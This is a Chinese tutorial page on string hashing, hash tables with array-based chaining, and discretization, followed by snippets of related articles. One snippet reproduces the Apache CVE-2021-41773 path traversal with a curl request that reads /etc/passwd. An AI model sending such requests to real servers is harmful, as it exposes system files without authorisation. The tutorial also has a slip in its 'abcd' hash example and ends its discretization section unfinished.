哈希表与离散化

一、字符串哈希

1. 什么是哈希

        哈希算法是:通过哈希函数将字符串、较大的数等转换为能够用变量表示的或者是直接作为数组下标的数,通过哈希算法转换到的值,称之为哈希值。哈希值可以实现快速查找和匹配。

        比如:用数组下标计数法,统计一个字符串,每种字母出现的次数就是一个简单的哈希,将每个字母都映射为了对应的 A s c i i 码。


2. 如何构造哈希

        原理:将字符串中的每一个字母都看作是一个数字(例如:从 a - z,视为 1 - 26 );将字符串视为一个是 b 进制的数。(注意:不能映射为 0,因为如果a 为 0,那么 a、aa、aaa 的值将都为 0)

        比如:可以将字符串 s = " abcd "视为 26 进制的整数,则可以计算出:hash(s)= 1 * 26 的立方 + 2 * 26 的平方 + 3 * 26 的一次方 + 26 的 0 次方,如果字符串很长,h ( s )很容易超出 long long 范围内。

        选取两个合适的互质常数 b 和 h ( b < h ),其中h要尽可能的大一点,为了降低冲突(不同字符串计算到同一个哈希值)的概率。

        一般来说:b 取 131 或 13331,h 取 2^{64},最终产生的哈希值的冲突的概率极低。

        假设字符串 C=c1c2c3...cm,定义哈希函数:

        H(c)=(c_{1} * b^{m-1} + c_{2}*b^{m-2} + ... +c_{m} * b^{0}) mod(h)


3. 滚动哈希优化

        如果针对一个很长的字符串,判断其中两个长度为 len 的子串是否相同,如果采用O( len )的时间复杂度计算出对应的子串 hash,那和直接取出子串比较的时间复杂度并无差异,因此我们需要使用滚动哈希优化的技巧,可以在O( 1 )的时间复杂度下取出子串的 hash 值。

       (1)滚动计算到前缀哈希 h ( k )

          设:h ( k )为字符串的子串的哈希值,(先不考虑取 MOD ):

           h(k+1)=h(k)*b+c_{k+1}; 

          类比 10 进制理解该公式,比如 10 进制的 12345,取出前 3 个数123,如果要去前 4 个数,可以使用:123 * 10(进制)+ 4(c_{k+1})= 1234 的方法来取出。


      (2)利用前缀哈希 H ( k ) 计算区间哈希值。

          设:

          H(R)=c_{1}*b^{R-1}+...+c_{L-1}*b^{R-L+1}+c_{r}*b^{0}

          H(L-1)=c_{1}*b^{L-2}+...+c_{L-1}*b^{0}

          H(L,R)=H(R)-H(L-1)*b^{r-l+1}

          因此,求 L ~ R 之间的哈希值:h[R]-h[L-1]*b^{r-l+1}

          由上述公式可知,只需要预处理出 b^{m},就可以在O(1)的时间内求得任意子串的哈希值。


       (3)时间复杂度

           综上,如果在一个长度为 n 的字符串中,任意取长度为 m 的子串进行匹配,时间复杂度为O(n+m)。


二、哈希表

1. 哈希表原理

(1)使用数组下标直接标记元素

        哈希表(也叫散列表):是一种高效的、通过把关键码值映射到表中的一个位置来访问记录的数据结构。

        类似字符串,查找的时间复杂度是常数时间,缺点是:需要消耗更多的内存。

        现在要存储和使用下面的线性表:A(12,83,284,49,183,13491,58)

        为了用O(1) 的时间实现查找,可以开一个一维数组 A[ 1 ... 13491 ],使得 A[ key ] = key,但显然造成了空间上的很大浪费,尤其是数据范围很大时。


(2)除余法构造哈希值

        为了使空间开销减少,我们可以使用第二种方法加以优化,设计一个哈希函数 H(key)=key mod 17,然后令 A[ H ( key ) ] = key,这样一来定义一个一维数组 A[0 ... 16]就以足够,这种方法就是哈希表。

        但是这样会造成哈希冲突,比如H(2)和H(19)的值都是 2.

        这里与字符串 Hash 有所不同,可能不论我们怎样选用哈希函数,还是很难避免产生冲突。

        因此我们考虑对每一个哈希值记一个链表(其实也就相当于邻接表),把所有等于同一个哈希值的数字都存储下来,而查询只要遍历对应的链表即可,这样实际复杂度取决于查询的链表长度,也可以看做是常数级。

        例如:我们定义哈希函数H( x ) = x mod 16,对数组A(12,83,284,49,183,13491,58)进行哈希运算后,插入一些数据的效果如下图:

        


(3)哈希函数的构造

        取余法构造哈希:H(key)= key % b,为了避免冲突,一般为能够存储下来并且尽量大的素数(一般情况下我们根据空间取 10 ~ 6 左右的素数)。一般地说如果 b 的约数越多,那么冲突的几率也就越大。

2. 使用数组模拟邻接表

(1)插入关键操作:

v = hash(x);//计算 x 的哈希值
idx++;
e[idx]=x;
ne[idx]=h[v];
h[v]=idx;

(2)查找关键操作:

int v = hash(x);//计算 x 的哈希值
//循环链表
for(int i=h[v];i!=0;i=ne[i]){if(e[i]==x){return 1;}
}

例如:读入整数 2 5 6 8 3 11,假设 h[ x ] = x % 6。

则:每个元素的哈希值是 2 5 0 2 3 5。

存储数组如下:

element 数组:按读入的顺序,存储每个元素的值。

  next 数组:next [ i ]存储和element [ i ]哈希值相同的上一个数的编号。


三、离散化

1. 什么是离散化

        离散化是在不改变数据相对大小的条件下,对数据进行相应的缩小,例如:

        原数据:1,999,100000,15:处理后:1,3,4,2;

        原数据:{100,200},{20,50000},{1,400};

        处理后:{3,4},{2,6},{1,5};

        离散化本质上可以看成是一种特殊的哈希,其保证数据在哈希以后仍然保持原来的全偏序关系,用于解决:影响最终结果的只有元素之间的相对大小关系,这一类的问题。

2. 离散化的步骤

        离散化存在的步骤:

        (1)数组中有重复的元素,因此需要去重复;

        (2)计算出数组中每个值a [ i ]离散化后的值是多少:二分:

离散化数组:

离散化 vector:


最后

制作不易,点个赞吧!!!

制作不易,点个赞吧!!!

制作不易,点个赞吧!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/430764.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

QT widgets 窗口缩放,自适应窗口大小进行布局

1. 窗口布局 2. 尺寸策略&#xff1a;扩展 Fixed (固定): 行为&#xff1a;控件的大小是固定的&#xff0c;不会随着窗口大小的变化而改变。它的大小由控件的 sizeHint() 返回的值决定。 适用场景&#xff1a;当你希望控件的大小保持不变&#xff0c;不随布局调整时使用&#x…

Windows下利用MSYS2和VS的nmake编译nginx源码

目录 一、使用说明 二、安装软件 2.1 下载依赖库 2.3 下载并安装 StrawberryPerl 2.4 下载并安装 MSYS 2 2.5 nginx源代码下载 三、编译配置 3.1 设置NGX_MSVC_VER 3.2 配置 Makefile 3.3 编译代码 3.4 整理Nginx发布环境 四、错误处理 一、使用说明 本文章主要记…

spring boot启动报错:so that it conforms to the canonical names requirements

springboot 2.x的版本中对配置文件中的命名规范有了强制性的要求&#xff0c;如下图所示中的dataSource属性属于驼峰格式&#xff0c;但是在springboot 2.x中不允许使用驼峰形式。 根据错误提示可知将其使用 - 来分割即可 错误信息的含义&#xff1a;“Canonical names should…

MySQL的msi版本9.0在安装过程总结和需要注意的地方

下载 参考文档 [官方包快速下载]&#xff08;https://dev.mysql.com/downloads/mysql/&#xff09; 使用zip文件安装可参考&#xff0c;这种直接把zip安装包解压到想要放的地方&#xff0c;并安装其中的方式一步步修改数据地址等配置即可。 个人使用了msi的安装文件 msi版本…

Kafka 3.0.0集群部署教程

1、集群规划 主机名 ip地址 node.id process.roles kafka1 192.168.0.29 1 broker,controller Kafka2 192.168.0.30 2 broker,controller Kafka3 192.168.0.31 3 broker,controller 2、将kafka包上传以上节点/app目录下 mkdir /app 3、解压kafka包 所有节点 …

JavaWeb--纯小白笔记06:使用Idea创建Web项目,Servlet生命周期,注解,中文乱码解决

使用Idea创建一个web项目----详细步骤配置&#xff0c;传送门&#xff1a;http://t.csdnimg.cn/RsOs7 src&#xff1a;放class文件 web&#xff1a;放html文件 out&#xff1a;运行过后产生的文件 一创建一个新的web项目(配置好了后)&#xff1a; 在src创建一个文件…

NVIDIA发布端到端自动驾驶框架Hydra-MDP

自动驾驶是目前人工智能领域的一个主要分支&#xff0c;目前特斯拉的FSD确实是为数不多的大模型框架。与其说特斯拉是一个造车公司&#xff0c;不如说是一个人工智能大数据公司。特斯拉每天靠行驶在道路上的汽车搜集的道路数据不胜其数&#xff0c;而拥有海量的数据是人工智能领…

001.从0开始实现线性回归(pytorch)

000动手从0实现线性回归 0. 背景介绍 我们构造一个简单的人工训练数据集&#xff0c;它可以使我们能够直观比较学到的参数和真实的模型参数的区别。 设训练数据集样本数为1000&#xff0c;输入个数&#xff08;特征数&#xff09;为2。给定随机生成的批量样本特征 X∈R10002 …

第十四届蓝桥杯嵌入式国赛

一. 前言 本篇博客主要讲述十四届蓝桥杯嵌入式的国赛题目&#xff0c;包括STM32CubeMx的相关配置以及相关功能实现代码以及我在做题过程中所遇到的一些问题和总结收获。如果有兴趣的伙伴还可以去做做其它届的真题&#xff0c;可去 蓝桥云课 上搜索历届真题即可。 二. 题目概述 …

论文阅读与分析:Few-Shot Graph Learning for Molecular Property Prediction

论文阅读与分析&#xff1a;Few-Shot Graph Learning for Molecular Property Prediction 论文地址和代码地址1 摘要2 主要贡献3 基础知识Meta Learning1 介绍2 学习算法Step 1: What is learnable in a learning algorithm?Step 2&#xff1a;Define loss function for learn…

基于C语言开发(控制台)通讯录管理程序

通讯录程序设计 一、课程设计题目与要求 题目 &#xff1a;通讯录管理程序 1. 问题描述 编写一个简单的通讯录管理程序。通讯录记录有姓名&#xff0c;地址(省、市(县)、街道)&#xff0c;电话号码&#xff0c;邮政编码等四项。2. 基本要求 程序应提供的基本基本管理功能有…

众数信科AI智能体政务服务解决方案——寻知智能笔录系统

政务服务解决方案 寻知智能笔录方案 融合民警口供录入与笔录生成需求 2分钟内生成笔录并提醒错漏 助办案人员二次询问 提升笔录质量和效率 寻知智能笔录系统 众数信科AI智能体 产品亮点 分析、理解行业知识和校验规则 AI实时提醒用户文书需注意部分 全文校验格式、内…

领域驱动DDD三种架构-分层架构、洋葱架构、六边形架构

博主介绍&#xff1a; 大家好&#xff0c;我是Yuperman&#xff0c;互联网宇宙厂经验&#xff0c;17年医疗健康行业的码拉松奔跑者&#xff0c;曾担任技术专家、架构师、研发总监负责和主导多个应用架构。 技术范围&#xff1a; 目前专注java体系&#xff0c;以及golang、.Net、…

(1999-2018年)全国各城市-财政收入–营业税

涵盖了1999年至2018年间&#xff0c;全国各城市的财政收入中营业税的部分。数据来源于中国区域统计年鉴及各省市统计年鉴 1999-2018年全国各城市-财政收入-营业税资源-CSDN文库https://download.csdn.net/download/2401_84585615/89504622 不同行业对营业税的贡献也存在差异。…

电动车车牌识别系统源码分享

电动车车牌识别检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer V…

Apache CVE-2021-41773 漏洞复现

1.打开环境 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.访问靶场 3.使用poc curl http://47.121.191.208:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 4.工具验证

智能新突破:AIOT 边缘计算网关让老旧水电表图像识别

数字化高速发展的时代&#xff0c;AIOT&#xff08;人工智能物联网&#xff09;技术正以惊人的速度改变着我们的生活和工作方式。而其中&#xff0c;AIOT 边缘计算网关凭借其强大的功能&#xff0c;成为了推动物联网发展的关键力量。 这款边缘计算网关拥有令人瞩目的 1T POS 算…

自驾游拼团系统小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;发布起人管理&#xff0c;景点信息管理&#xff0c;景点分类管理&#xff0c;拼团旅游管理&#xff0c;参团信息管理&#xff0c;拼团订单管理&#xff0c;系统管理 微信端账号功…

11. DPO 微调示例:根据人类偏好优化LLM大语言模型

在部署大模型之后&#xff0c;我们必然要和微调打交道。现在大模型的微调有非常多的方法&#xff0c;过去的文章中提到的微调方法通常依赖于问题和答案对&#xff0c;标注成本较高。 2023 年所提出的 Direct Preference Optimization&#xff08;DPO&#xff09;为我们提供了一…

C语言----指针

基本知识点:指针的定义、指针运算符和指针运算等基本概念。重 点:字符指针、指针数组和多级指针。难 点:利用指针类型解决复杂的应用问题。 指针的概念 要点归纳 1.指针变量 在计算机中&#xff0c;所有数据都通过变量存放在内存中&#xff0c;每个变量都…